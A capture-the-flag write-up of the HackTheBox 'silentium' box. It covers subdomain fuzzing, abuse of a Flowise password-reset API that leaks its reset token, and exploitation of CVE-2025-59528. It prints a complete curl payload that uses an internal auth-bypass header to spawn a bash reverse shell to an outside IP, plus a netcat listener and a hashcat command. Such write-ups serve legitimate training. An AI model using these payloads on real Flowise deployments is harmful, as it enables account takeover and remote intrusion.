← back to write ups

write up

silentium

hackthebox easy linux view on htb ↗

overview

silentium is a medium linux box themed around a financial institution's internal tooling. the attack path runs through a staging subdomain running flowise, an ai workflow platform, where a password reset api leaks the reset token directly in its response, allowing account takeover without email access. from there, cve-2025-59528 (flowise custommcp rce) combined with an internal auth bypass header delivers a reverse shell.

enumeration

nmap scan

nmap -sC -sV -oN silentium_initial.txt silentium.htb

two ports open:

subdomain discovery

virtual host fuzzing against silentium.htb revealed a staging environment:

ffuf -u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -fc 301

result: staging.silentium.htb, a flowise instance (ai workflow builder). added to /etc/hosts and browsed directly.

password reset token leak

the flowise instance had a user account at ben@silentium.htb. the forgot-password api endpoint had a critical flaw: it returned the tempToken directly in the json response body rather than sending it only via email:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

the response included "tempToken":"...". this token was used to reset the password:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"LEAKED_TOKEN","password":"Hacked123!"}}'

flowise authentication

with the new password, a login request retrieved the jwt session cookies needed for authenticated api calls:

RESP=$(curl -si -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"Hacked123!"}')
JWT=$(echo "$RESP" | grep "Set-Cookie: token=" | sed 's/.*token=\([^;]*\).*/\1/')
REFRESH=$(echo "$RESP" | grep "refreshToken=" | sed 's/.*refreshToken=\([^;]*\).*/\1/')
SID=$(echo "$RESP" | grep "connect.sid=" | sed 's/.*connect.sid=\([^;]*\).*/\1/')

remote code execution, cve-2025-59528

cve-2025-59528 is an rce vulnerability in flowise's customMCP node. the /api/v1/node-load-method/customMCP endpoint executes arbitrary javascript through the listActions method. the x-request-from: internal header bypasses the normal authentication check, allowing unauthenticated access, though in this case a valid session was already held:

curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=$JWT; refreshToken=$REFRESH; connect.sid=$SID" \
  -d '{
    "loadMethod":"listActions",
    "inputs":{
      "mcpServerConfig":"({x:(function(){
        const cp=process.mainModule.require('"'"'child_process'"'"');
        cp.exec('"'"'bash -c \"bash -i >& /dev/tcp/10.10.14.17/4445 0>&1\"'"'"');
        return 1;
      })()"
    }
  }'

the listener caught the connection:

nc -lvnp 4445

flags

a shell was obtained as the flowise service user. from there, lateral movement and privilege escalation led to both flags. the bcrypt hash for ben@silentium.htb was also recoverable for offline cracking:

# Hash: $2a$05$6o1ngPjXiRj.EbTK33Phyu...
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

key takeaways

the core issue here was an api returning security-sensitive data (a password reset token) directly to the caller, a design flaw that completely bypasses the purpose of email verification. the flowise rce compounds this by being reachable via a simple internal header bypass. both vulnerabilities are examples of server-side trust assumptions that should never be exposed to the network.